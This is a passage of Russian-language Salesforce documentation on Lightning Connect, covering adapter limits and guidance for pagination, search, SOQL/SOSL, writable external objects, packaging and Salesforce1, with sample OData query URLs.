При включении пагинации под управлением сервера для внешнего источника данных
размеры страницы и границы пакета определяются внешней системой. Кроме того,
внешняя система пропускает любые границы пакета или размеры страницы, указанные
в запросах.

Также изучите рекомендации, применимые ко всем адаптерам Lightning Connect.

СМ. ТАКЖЕ:

Рекомендации по использованию запросов API для Lightning Connect: все адаптеры

Параметры строки запроса OData

Адаптер OData 2.0 или 4.0 для Lightning Connect

Определение внешнего источника данных для Lightning Connect: адаптер OData 2.0 или 4.0
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Рекомендациипоиспользованиюзапросов API для Lightning Connect: настраиваемыйадаптер

ВЕРСИИ

Доступно в: Salesforce
Classic и Lightning
Experience

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Некоторые особые алгоритмы и ограничения влияют на запросы API внешних данных
посредством настраиваемых адаптеров для Lightning Connect.

НастраиваемыеадаптерыдляLightning Connect, создаваемыепосредствоминфраструктуры
коннекторовApex, неподдерживаютвызовы queryMore() ипагинациюавтоматически.
При необходимости внедрите вызовы queryMore() и пагинацию под управлением
клиентапутемиспользованияусловий LIMIT и OFFSET дляпостраничногопросмотра
результирующих наборов.

При включении пагинации под управлением сервера для внешнего источника данных
внешняя система пропускает любые границы пакета или размеры страницы, указанные
в запросах.Прежде чем включить пагинацию под управлением сервера для
настраиваемого адаптера, убедитесь, что класс DataSource.Provider объявляет
возможность QUERY_PAGINATION_SERVER_DRIVEN дляметода getCapabilities.
Крометого, убедитесь, чтокодApex создаетииспользуетмаркерзапросадляопределения
и извлечения следующего пакета результатов.

Также просмотрите рекомендации, касающиеся всех адаптеров Lightning Connect.

СМ. ТАКЖЕ:

Рекомендации по использованию запросов API для Lightning Connect: все адаптеры

Пользовательский адаптер для Lightning Connect

Руководство разработчика Apex

Рекомендации по поиску для Lightning Connect: все адаптеры

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Некоторые особые алгоритмы и ограничения влияют на поиски внешних объектов.

• Поиск может охватывать только поля текста, области текста и области подробного
текста внешних объектов. При отсутствии полей, доступных для поиска, поиски по
внешнему объекту не возвращают записи.

• Рекомендуем настроить внешнюю систему для соответствующей обработки строк
поисковыхзапросов.Например, пользователямможет требоватьсяпоискпострокам,
которые не чувствительны к регистру.

Также просмотрите рекомендации для всех используемых адаптеров Lightning Connect.

Рекомендации по поиску для Lightning Connect: адаптер OData 2.0

Некоторые особые алгоритмы и ограничения влияют на поиски внешних данных
посредством адаптера OData 2.0 для Lightning Connect.

Рекомендации по поиску для Lightning Connect: адаптер OData 4.0

Некоторые особые алгоритмы и ограничения влияют на поиски внешних данных посредством адаптера OData 4.0
для Lightning Connect.

СМ. ТАКЖЕ:

Рекомендации по использованию Lightning Connect: все адаптеры

Lightning Connect
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Рекомендациипопоиску для Lightning Connect: адаптер OData 2.0

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Некоторые особые алгоритмы и ограничения влияют на поиски внешних данных
посредством адаптера OData 2.0 для Lightning Connect.

We send the entire search query string to the external system as a case-sensitive single phrase with
all ASCII punctuation characters removed. For example, if a user searches for Sales &
Marketing, the external system receives “Sales Marketing” as a case-sensitive search query string.

Кроме того, по умолчанию строка поискового запроса используется как значение
substringof в системном параметре запроса $filter. В примере ниже строкой
поискового запроса является Acme.

http://services.example.org/my.svc/Shippers?
$select=CompanyName,Phone,ShipperID&$inlinecount=allpages&
$filter=substringof('Acme',CompanyName)+eq+true+
or+substringof('Acme',Phone)+eq+true&$top=26

Рекомендуемприменитьнастраиваемыйпараметр запросадля свободноготекстовогопоиска впоставщике OData. Введите
имяданногопараметра строкизапроса вполе «Настраиваемый параметр запроса для поиска Salesforce» внешнего
источника данных. В примере ниже настраиваемый параметр запроса называется doSearch, а строкой поискового
запроса является Acme.

http://services.example.org/my.svc/Shippers?
$select=CompanyName,Phone,ShipperID&
$inlinecount=allpages&doSearch=Acme&$top=26

Дополнительную информацию о правилах URI см. на веб-узле www.odata.org.

Также изучите рекомендации, применимые ко всем адаптерам Lightning Connect.

СМ. ТАКЖЕ:

Рекомендации по поиску для Lightning Connect: все адаптеры

Параметры строки запроса OData

Адаптер OData 2.0 или 4.0 для Lightning Connect
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Рекомендациипопоиску для Lightning Connect: адаптер OData 4.0

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Некоторые особые алгоритмы и ограничения влияют на поиски внешних данных
посредством адаптера OData 4.0 для Lightning Connect.

Мыотправляемполнуюстроку запросапоиска во внешнююсистему как единуюфразу,
чувствительнуюкрегистру, безпунктуации ASCII.Например, еслипользовательвыполняет
поиск по ключевым словам Продажи & маркетинг, внешняя система получает текст
«Продажи маркетинг» в качестве строки запроса поиска, чувствительной к регистру.

Кроме того, по умолчанию строка поискового запроса используется как значение
contains в системном параметре запроса $filter. В примере ниже строкой
поискового запроса является Acme.

http://services.example.org/v4.svc/Shippers?
$select=CompanyName,Phone,ShipperID&$count=true&
$filter=contains(CompanyName,'Acme') eq true
or contains(Phone,'Acme') eq true$top=26&

Рекомендуется настроить поставщик OData для поддержки поисковых выражений со свободным текстом с системным
параметромзапроса $search. Затемвыберите Использовать поисковые выражения со свободным текстом навнешнем
источнике данных. В примере ниже строкой поискового запроса является Acme.

http://services.example.org/v4.svc/Shippers?
$select=CompanyName,Phone,ShipperID&$count=true&
$search=Acme&$top=26

Дополнительную информацию о правилах URI см. на веб-узле www.odata.org.

Также изучите рекомендации, применимые ко всем адаптерам Lightning Connect.

СМ. ТАКЖЕ:

Рекомендации по поиску для Lightning Connect: все адаптеры

Параметры строки запроса OData

Адаптер OData 2.0 или 4.0 для Lightning Connect
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Рекомендации по использованию SOSL для Lightning Connect: все адаптеры

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Некоторыеособыеалгоритмыиограничениявлияютнадоступ SOSL к внешнимданным.

• Поиск может охватывать только поля текста, области текста и области подробного
текста внешних объектов. При отсутствии полей, доступных для поиска, поиски по
внешнему объекту не возвращают записи.

• Внешние объекты не поддерживают компоненты ниже.

– Оператор INCLUDES

– Оператор LIKE

– Оператор EXCLUDES

– Функция toLabel()

• Крометого, внешниеобъектынеподдерживаютусловияSalesforce Knowledge, включая
условия ниже.

– Условие UPDATE TRACKING

– Условие UPDATE VIEWSTAT

– Условие WITH DATA CATEGORY

• Внешние объекты возвращаются результатами поиска только при их явном упоминании в условии RETURNING.
Например:

FIND {MyProspect} RETURNING MyExternalObject, MyOtherExternalObject

Также просмотрите рекомендации для всех используемых адаптеров Lightning Connect.

Рекомендации по использованию SOSL для Lightning Connect: адаптер OData 2.0

Некоторые особые алгоритмыиограничения влияютна доступ SOSL к внешнимданнымпосредством адаптера OData
2.0 для Lightning Connect.

Рекомендации по использованию SOSL для Lightning Connect: адаптер OData 4.0

Некоторые особые алгоритмыиограничения влияютна доступ SOSL к внешнимданнымпосредством адаптера OData
4.0 для Lightning Connect.

Рекомендации по использованию SOSL для Lightning Connect: пользовательский адаптер
НекоторыеособыеалгоритмыиограничениявлияютнадоступSOSLквнешнимданнымпосредствомпользовательских
адаптеров для Lightning Connect.

СМ. ТАКЖЕ:

Рекомендации по использованию Lightning Connect: все адаптеры

Справочное руководство по Force.com SOQL и SOSL

Lightning Connect
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Рекомендациипоиспользованию SOSL для Lightning Connect: адаптер OData 2.0

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Некоторыеособые алгоритмыиограничениявлияютнадоступ SOSL к внешнимданным
посредством адаптера OData 2.0 для Lightning Connect.

The OData adapters for Lightning Connect don’t support logical operators in a FIND  clause. We
send the entire search query string to the external system as a case-sensitive single phrase with all
ASCII punctuation characters removed.Например, запрос FIND {MyProspect OR “John
Smith”} выполняет поиск по точной фразе «MyProspect OR John Smith».

Кроме того, по умолчанию строка поискового запроса используется как значение
substringof в системном параметре запроса $filter. В примере ниже строкой
поискового запроса является Acme.

http://services.example.org/my.svc/Shippers?
$select=CompanyName,Phone,ShipperID&$inlinecount=allpages&
$filter=substringof('Acme',CompanyName)+eq+true+
or+substringof('Acme',Phone)+eq+true&$top=26

Рекомендуемприменитьнастраиваемыйпараметр запросадля свободноготекстовогопоиска впоставщике OData. Введите
имяданногопараметра строкизапроса вполе «Настраиваемый параметр запроса для поиска Salesforce» внешнего
источника данных. В примере ниже настраиваемый параметр запроса называется doSearch, а строкой поискового
запроса является Acme.

http://services.example.org/my.svc/Shippers?
$select=CompanyName,Phone,ShipperID&
$inlinecount=allpages&doSearch=Acme&$top=26

Дополнительную информацию о правилах URI см. на веб-узле www.odata.org.

Также изучите рекомендации, применимые ко всем адаптерам Lightning Connect.

СМ. ТАКЖЕ:

Адаптер OData 2.0 или 4.0 для Lightning Connect

Рекомендации по использованию SOSL для Lightning Connect: все адаптеры

Справочное руководство по Force.com SOQL и SOSL

Параметры строки запроса OData

Определение внешнего источника данных для Lightning Connect: адаптер OData 2.0 или 4.0
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Рекомендациипоиспользованию SOSL для Lightning Connect: адаптер OData 4.0

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Некоторыеособые алгоритмыиограничениявлияютнадоступ SOSL к внешнимданным
посредством адаптера OData 4.0 для Lightning Connect.

Адаптеры OData для Lightning Connectнеподдерживаютлогическиеоператорыв условии
FIND. Мыотправляемполнуюстроку запроса поиска во внешнююсистему как единую
фразу, чувствительную к регистру, без пунктуации ASCII.Например, запрос FIND
{MyProspect OR “John Smith”} выполняет поиск по точнойфразе «MyProspect
OR John Smith».

Кроме того, по умолчанию строка поискового запроса используется как значение
contains в системном параметре запроса $filter. В примере ниже строкой
поискового запроса является Acme.

http://services.example.org/v4.svc/Shippers?
$select=CompanyName,Phone,ShipperID&$count=true&
$filter=contains(CompanyName,'Acme') eq true
or contains(Phone,'Acme') eq true$top=26&

Рекомендуетсянастроитьпроизводитель OData дляподдержкипоисковыхвыраженийсосвободнымтекстомс системным
параметромзапроса $search. Затемвыберите Использовать поисковые выражения со свободным текстом навнешнем
источнике данных. В примере ниже строкой поискового запроса является Acme.

http://services.example.org/v4.svc/Shippers?
$select=CompanyName,Phone,ShipperID&$count=true&
$search=Acme&$top=26

Дополнительную информацию о правилах URI см. на веб-узле www.odata.org.

Также изучите рекомендации, применимые ко всем адаптерам Lightning Connect.

СМ. ТАКЖЕ:

Адаптер OData 2.0 или 4.0 для Lightning Connect

Рекомендации по использованию SOSL для Lightning Connect: все адаптеры

Справочное руководство по Force.com SOQL и SOSL

Параметры строки запроса OData

Определение внешнего источника данных для Lightning Connect: адаптер OData 2.0 или 4.0
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Рекомендациипоиспользованию SOSL для Lightning Connect: пользовательскийадаптер

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Некоторыеособые алгоритмыиограничениявлияютнадоступ SOSL к внешнимданным
посредством пользовательских адаптеров для Lightning Connect.

• Функция convertCurrency() не поддерживается в запросах SOSL для внешних
объектов.

• Условия WITH не поддерживаются в запросах SOSL для внешних объектов.

Также изучите рекомендации, применимые ко всем адаптерам Lightning Connect.

СМ. ТАКЖЕ:

Рекомендации по использованию SOSL для Lightning Connect: все адаптеры

Справочное руководство по Force.com SOQL и SOSL

Пользовательский адаптер для Lightning Connect

Рекомендации по использованию SOQL для Lightning Connect: все адаптеры

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Некоторыеособыеалгоритмыиограничениявлияютнадоступ SOQL к внешнимданным.

• Подзапрос, охватывающий внешние объекты, может извлекать не более 1 000 строк
данных.

• Каждый запрос SOQL может содержать не более 4 присоединений для внешних
объектов и объектов других типов.

Каждое присоединение требует отдельного полного обхода внешней системы при
выполнении запроса. Время ответа для каждого присоединения в запросе может
увеличиться.

• Внешние объекты не поддерживают агрегатные функции и условия ниже.

– Функция AVG()

– Функция COUNT(fieldName)  (хотя поддерживается и функция COUNT())

– Условие HAVING

– Условие GROUP BY

– Функция MAX()

– Функция MIN()

– Функция SUM()

• Кроме того, внешние объекты не поддерживают компоненты ниже.

– Оператор EXCLUDES

– Условие FOR VIEW

– Условие FOR REFERENCE

– Оператор INCLUDES

– Оператор LIKE

– Функция toLabel()

– Условие TYPEOF

– Условие WITH
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Также просмотрите рекомендации для всех используемых адаптеров Lightning Connect.

Рекомендации по использованию SOQL для Lightning Connect: адаптер OData 2.0

Некоторыеособые алгоритмыиограничения влияютна доступ SOQL к внешнимданнымпосредствомадаптера OData
2.0 для Lightning Connect.

Рекомендации по использованию SOQL для Lightning Connect: пользовательский адаптер
НекоторыеособыеалгоритмыиограничениявлияютнадоступSOQLквнешнимданнымпосредствомпользовательских
адаптеров для Lightning Connect.

СМ. ТАКЖЕ:

Рекомендации по использованию SOSL для Lightning Connect: все адаптеры

Рекомендациипоиспользованию SOQL для Lightning Connect: адаптер OData 2.0

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Некоторыеособыеалгоритмыиограничениявлияютнадоступ SOQL к внешнимданным
посредством адаптера OData 2.0 для Lightning Connect.

• Внешние объекты имеют следующие ограничения для условия ORDER BY.

– NULLS FIRST и NULLS LAST не обрабатываются.

– Внешниеобъектынеподдерживаютусловие ORDER BY в запросах взаимосвязи.

• Агрегатная функция COUNT() поддерживается только внешними объектами,
внешние источники данных которых поддерживают конфигурацию «Количества
строк запроса». Так, ответ внешней системы должен содержать общее количество
строк результирующего набора.

Также изучите рекомендации, применимые ко всем адаптерам Lightning Connect.

СМ. ТАКЖЕ:

Рекомендации по использованию SOQL для Lightning Connect: все адаптеры

Определение внешнего источника данных для Lightning Connect: адаптер OData 2.0 или 4.0

Адаптер OData 2.0 или 4.0 для Lightning Connect

Рекомендациипоиспользованию SOQL для Lightning Connect: пользовательскийадаптер

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Некоторыеособыеалгоритмыиограничениявлияютнадоступ SOQL к внешнимданным
посредством пользовательских адаптеров для Lightning Connect.

• ЗапросыSOQLнаосновеместоположениядлявнешнихобъектовнеподдерживаются.

• Если запрос SOQL для внешнего объекта включает один из следующих элементов,
он будет завершен с ошибкой.

– Функция convertCurrency()

– Условие UPDATE TRACKING

– Условие UPDATE VIEWSTAT

– Условие USING SCOPE

• В условии ORDER BY пропускаются следующие элементы.

– Синтаксис NULLS FIRST
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– Синтаксис NULLS LAST

Также изучите рекомендации, применимые ко всем адаптерам Lightning Connect.

СМ. ТАКЖЕ:

Рекомендации по использованию SOQL для Lightning Connect: все адаптеры

Пользовательский адаптер для Lightning Connect

Рекомендации по использованию внешних объектов с разрешением на запись для Lightning Connect: все
адаптеры

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Ознакомьтесьсограничениямиирекомендациямипоиспользованию Lightning Connect
длясоздания, обновленияиудаленияданных, которыехранятсявнеорганизацииSalesforce.

• Внешняя система выполняет обработку конфликтов при записи, поэтому мы не
можем гарантировать, что все операции записи, инициированныеиз Salesforce, будут
применены.

• Операциизаписи, которыезапускаютсяизразличныхконтекстов, могут выполняться
в различном порядке.

• API не могут сохранять изменения во внешний объект и в стандартный или
настраиваемый объект в ходе одной и той же транзакции.

• В зависимости от того, как внешняя система будет выполнять операции записи из
Salesforce, может пройти некоторое время, пока изменения во внешних объектах
будутприменены. Есливыневидитенедавнихизмененийприпросмотреилиопросе
записи внешнего объекта, повторите попытку позднее.

• Когда пользователь или платформа Force.com редактирует настраиваемое поле для
записи внешнего объекта, пробел перед и после значения поля удаляется.

• Когда пользователь предпринимает попытку редактирования внешнего поиска или поля взаимосвязи непрямого
поиска, диалоговое окно недоступно для выбора родительской записи.

– Чтобы отредактировать поле взаимосвязи внешнего поиска, вручную введите значение стандартного поля
External ID для родительской записи.

– Чтобы отредактировать поле взаимосвязи непрямого поиска, вручную введите значение целевого поля для
родительскойзаписи. Целевоеполеявляетсянастраиваемымполемсатрибутами «Внешний код» и «Уникальное»,
которое было выбрано при создании взаимосвязи непрямого поиска. Чтобы определить, какие записи связаны,
Salesforce сопоставляет значенияцелевогополя со значениямиполя взаимосвязинепрямогопоиска для дочернего
объекта.

Также просмотрите рекомендации для всех используемых адаптеров Lightning Connect.

Внешние объекты с возможностью записи недоступны для Lightning Connect — адаптер Salesforce

Адаптер Salesforce для Lightning Connect не поддерживает внешние объекты с разрешениями для записи.

Рекомендации по использованию внешних объектов с разрешением на запись для Lightning Connect — адаптеры
OData 2.0 и 4.0

На внешние объекты, связанные с адаптерами OData для Lightning Connect, распространяются некоторые правила
обработки и ограничения.
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Рекомендации по использованию внешних объектов, доступных для записи, для Lightning Connect: настраиваемые
адаптеры
Некоторые особые алгоритмы и ограничения влияют на внешние объекты, доступные для записи, которые связаны
с настраиваемыми адаптерами для Lightning Connect.

СМ. ТАКЖЕ:

Lightning Connect

Рекомендации по использованию Lightning Connect: все адаптеры

Внешниеобъектыс возможностьюзаписинедоступныдля Lightning Connect — адаптер Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Адаптер Salesforce для Lightning Connect не поддерживает внешние объекты с
разрешениями для записи.

Пользователинемогутсоздавать, редактироватьилиудалять записивовнешнихобъектах
при помощи адаптера Salesforce для Lightning Connect. Однако вы можете разрешить
пользователям выполнять вход в организацию поставщика услуг и обновлять записи
там.

Также изучите рекомендации, применимые ко всем адаптерам Lightning Connect.

СМ. ТАКЖЕ:

Рекомендации по использованию внешних объектов с разрешением на запись для
Lightning Connect: все адаптеры

Адаптер Salesforce для Lightning Connect

Рекомендациипоиспользованиювнешнихобъектов с разрешениемна запись для Lightning Connect —
адаптеры OData 2.0 и 4.0

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

На внешние объекты, связанные с адаптерами OData для Lightning Connect,
распространяются некоторые правила обработки и ограничения.

• Настраиваемое поле внешнего объекта, связанные со сложным типом OData во
внешней системе всегда только для чтения, даже если внешний объект имеет
разрешение для записи.

• Внешние объекты с возможностью записи недоступны для внешних источников
данных большого объема.

• Убедитесь, чтопоставщик OData поддерживает следующиеглаголы HTTP: POST, PUT,
MERGE, PATCH и DELETE.

• КогдапользовательиспользуетинтерфейспользователяSalesforceдляредактирования
полей записи внешнего объекта, Lightning Connect отправляет запрос HTTP POST
внешней системе. Этот запрос POST включает все поля внешнего объекта, в том
числе поля, которые не были изменены пользователем.

• Если запись внешнего объекта редактируется при помощи API, только указанные
поля включаются в запрос HTTP POST.
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Также изучите рекомендации, применимые ко всем адаптерам Lightning Connect.

СМ. ТАКЖЕ:

Рекомендации по использованию внешних объектов с разрешением на запись для Lightning Connect: все адаптеры

Адаптер OData 2.0 или 4.0 для Lightning Connect

Рекомендациипоиспользованиювнешнихобъектов, доступныхдля записи, для Lightning Connect:
настраиваемыеадаптеры

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Некоторые особые алгоритмы и ограничения влияют на внешние объекты, доступные
для записи, которые связаны с настраиваемыми адаптерами для Lightning Connect.

• Внешние объекты, доступные для записи, не доступны для внешних крупных
источников данных.

• Очередныеизменениявнешнихданныхвыполняютсявтечениенекотороговремени,
поэтому записи внешнегообъекта, прочитанныепоследовательно, могут содержать
разные данные.

Также изучите рекомендации, применимые ко всем адаптерам Lightning Connect.

СМ. ТАКЖЕ:

Рекомендации по использованию внешних объектов с разрешением на запись для
Lightning Connect: все адаптеры

Пользовательский адаптер для Lightning Connect

Руководство разработчика Apex: записываемые внешние объекты в Lightning Connect

Рекомендации по пакетированию для Lightning Connect: все адаптеры

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Некоторые особые алгоритмы и ограничения влияют на пакетирование внешних
источников данных, а также их зависимых внешних объектов и настраиваемых полей.

• После установки внешнегоисточника данныхиз управляемогоилинеуправляемого
пакетаподписчикдолженвыполнитьповторнуюпроверкуподлинностивовнешней
системе.

– Прииспользованиипроверкиподлинностипаролейподписчикдолженповторно
ввести пароль в определение внешнего источника данных.

– При использовании OAuth подписчик должен обновить URL-адрес обратного
вызова в конфигурации клиента для поставщика проверкиподлинности, а затем
выполнитьповторнуюпроверкуподлинностипутемустановкифлажка «Начать
процесс проверки подлинности при сохранении» для внешнего источника
данных.

• Сертификатынеподлежатпакетированию.Припакетированиивнешнегоисточника
данных, определяющего сертификат, убедитесь, что организация подписчика
использует действительный сертификат с тем же именем.

• Внешние объекты управляемых и неуправляемых пакетов добавляются в компонент настраиваемого объекта.

• Добавление внешнего источника данных в пакет препятствует автоматическому добавлению других компонентов.
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• Добавление внешнего объекта в пакет инициирует автоматическое добавление списковых представлений, макетов
страниц, настраиваемых полей, компонента настраиваемого объекта, определяющего внешний объект, и внешнего
источникаданных. Есливнешнийобъект содержитполявзаимосвязипоиска, внешнегопоискаилинепрямогопоиска,
то родительские объекты добавляются в пакет автоматически.

• Если доступ к внешнемуисточнику данныхназначается посредствомнабора полномочийилипараметров профиля,
добавленных в пакет, то включенные внешние источники данных добавляются в пакет автоматически.

• Назначение внешнего объекта посредством набора полномочий или параметров профиля, добавленных в пакет,
инициируетавтоматическоедобавлениенастраиваемыхполей, списковыхпредставлений, макетовстраниц, компонента
настраиваемого объекта, определяющего внешний объект, и внешнего источника данных.

СМ. ТАКЖЕ:

Рекомендации по использованию Lightning Connect: все адаптеры

Lightning Connect

Рекомендации по использованию Salesforce1 для Lightning Connect: все адаптеры

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Приложение Salesforce1 позволяет пользователям просматривать и искать внешние
объекты, но использует некоторые особые алгоритмы и ограничения.

Нижеперечисленыусловия, привыполнениикоторыхвнешниеобъектыавтоматически
добавляются в раздел «Недавние» меню навигации приложения Salesforce1 как часть
компонента «Элементы интеллектуального поиска». При необходимости коснитесь
пункта «Больше». Кроме того, если условия являются истинными, то связанные списки
длявнешнихобъектовотображаютсявприложенииSalesforce1припросмотреродителей
данных внешних объектов.

• Подобно настраиваемым объектам, внешние объекты должны быть назначены
доступнымвкладкам, аполномочияобъектадолжныбытьпредоставленыпосредством
профилей или наборов полномочий.

• Внешние источники данных, связанные с внешними объектами, не должны
использоватьфлажок «Большой объем данных». Данноетребованиенеприменяется
к адаптеру Salesforce для Lightning Connect.

Также просмотрите рекомендации для всех используемых адаптеров Lightning Connect.

Рекомендации по использованию Salesforce1 для Lightning Connect: адаптер OData 2.0

Некоторые особые алгоритмы и ограничения влияют на доступ Salesforce1 к внешним данным через адаптер OData
2.0 для Lightning Connect.

СМ. ТАКЖЕ:

Рекомендации по использованию Lightning Connect: все адаптеры

Lightning Connect
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Рекомендациипоиспользованию Salesforce1 для Lightning Connect: адаптер OData 2.0

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Некоторые особые алгоритмы и ограничения влияют на доступ Salesforce1 к внешним
данным через адаптер OData 2.0 для Lightning Connect.

Для отображения внешнихобъектов в перечисленныхнижеприложенияхнеобходимо
установитьфлажок «Добавить в поиски Salesforce» в соответствующихвнешних
источниках данных.

• Загружаемое приложение Salesforce1 для iOS

• Мобильное веб-приложение Salesforce1 для устройств iOS

Также изучите рекомендации, применимые ко всем адаптерам Lightning Connect.

СМ. ТАКЖЕ:

Рекомендации по использованию Salesforce1 для Lightning Connect: все адаптеры

Адаптер OData 2.0 или 4.0 для Lightning Connect

Общие ограничения для Lightning Connect: все адаптеры

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Просмотрите ограничения по использованию Lightning Connect.

Максимальное количество внешних объектов, полномочия которых могут быть
предоставленыкаждомупользователю, равняетсямаксимальномуколичествудоступных
настраиваемых объектов. Данное ограничение определяется лицензией, назначенной
пользователю.

100Максимальноеколичествовнешнихобъектовнаоднуорганизацию1

4Максимальное количество присоединений на один запрос для
внешних объектов и объектов других типов

4000 символовМаксимальная длина маркера OAuth, созданного внешней системой

1 Ограничение, равное 100 внешним объектам, применяется независимо от количества
дополнительных компонентов Lightning Connect, приобретенных для организации.

Общие ограничения для Lightning Connect: адаптер OData 2.0

Просмотрите ограничения для адаптера OData 2.0 для Lightning Connect.

СМ. ТАКЖЕ:

Рекомендации по использованию Lightning Connect: все адаптеры

Lightning Connect
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Общиеограничения для Lightning Connect: адаптер OData 2.0

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Просмотрите ограничения для адаптера OData 2.0 для Lightning Connect.

An org is limited to:

• 10 000 запросов OData в час при использовании версии Enterprise Edition, Performance
Edition или Unlimited Edition. Более высокие ограничения доступны по запросу.

• 1 000 запросов OData в час при использовании версии Developer Edition.

8 МбМаксимальный размер HTTP-запроса для OData

8 МбМаксимальный размер HTTP-ответа для OData

16 МбМаксимальный размер результирующего набора для запроса OData

1 000 строкМаксимальный размер результирующего набора для подзапроса
OData

50,000Максимальное количество новых строк, извлеченных за час для
внешнего источника данных

(Данное ограничение не применяется к крупным внешним
источникам данных или извлеченным ранее строкам.)

СМ. ТАКЖЕ:

Общие ограничения для Lightning Connect: все адаптеры

Рекомендации по использованию ограничений по частоте запросов OData для Lightning Connect: адаптер OData 2.0

Адаптер OData 2.0 или 4.0 для Lightning Connect

Lightning Connect: Salesforce — доступ к данным в другой организации Salesforce

Адаптер Salesforce для Lightning Connect

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

СвязываниеданныхмеждуорганизациямиSalesforceпозволяетповысить эффективность
сотрудничества и усовершенствовать выполняемые процессы. Благодаря адаптеру
Salesforce Lightning Connect использует вызовы Force.com REST API для доступа к записям
вдругихорганизацияхSalesforce.Темнеменее, пользователямдоступнабыстраяиудобная
настройка посредством интерактивных инструментов.

Пользователииплатформа Force.com взаимодействуют с даннымидругих организаций
посредством внешних объектов. Адаптер Salesforce для Lightning Connect преобразует
каждое взаимодействие в вызов Force.com REST API.

Предположим, что перечень продуктов хранится в одной организации Salesforce. При
этомрегиональнымиместнымотделениям, имеющимсобственныеорганизации, должна
быть доступна оперативная информация по остаткам. Благодаря адаптеру Salesforce для
Lightning Connect, данные могут быть доступны другим организациям без нарушения
заданных ограничений доступа.

Адаптер Salesforce использует вызов Force.com REST API при выполнении условий ниже.

• Пользователь выбирает вкладку внешнего объекта для спискового представления.
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• Пользователь просматривает страницу сведений о записи внешнего объекта.

• Пользователь просматривает страницу сведений о записи родительского объекта, содержащую связанный список
дочерних записей внешнего объекта.

• Пользователь выполняет глобальный поиск по системе Salesforce или приложению Salesforce1.

• Внешний объект опрашивается посредством потоков, интерфейсов API, Apex, SOQL или SOSL.

• Пользователь создает, редактирует или удаляет запись внешнего объекта. (Это неприменимо к адаптеру Salesforce).

Настройка Lightning Connect с адаптером Salesforce выполняется только посредством интерактивных инструментов.

Организации подписчика и поставщика в Lightning Connect: адаптер Salesforce

Организация поставщика хранит данные, доступные организации подписчика.

API-имена для внешних объектов и настраиваемых полей в Lightning Connect: адаптер Salesforce

При создании внешних объектов и настраиваемых полей в организации подписчика посредством синхронизации
их API-имена извлекаются из соответствующих API-имен в организации поставщика.

Коды записей и внешние коды для внешних объектов в Lightning Connect: адаптер Salesforce

Коды записей для внешних объектов извлекаются из соответствующих кодов записей в организации поставщика.
Значения внешнего кода в записях внешних объектов соответствуют кодам записей в организации поставщика.

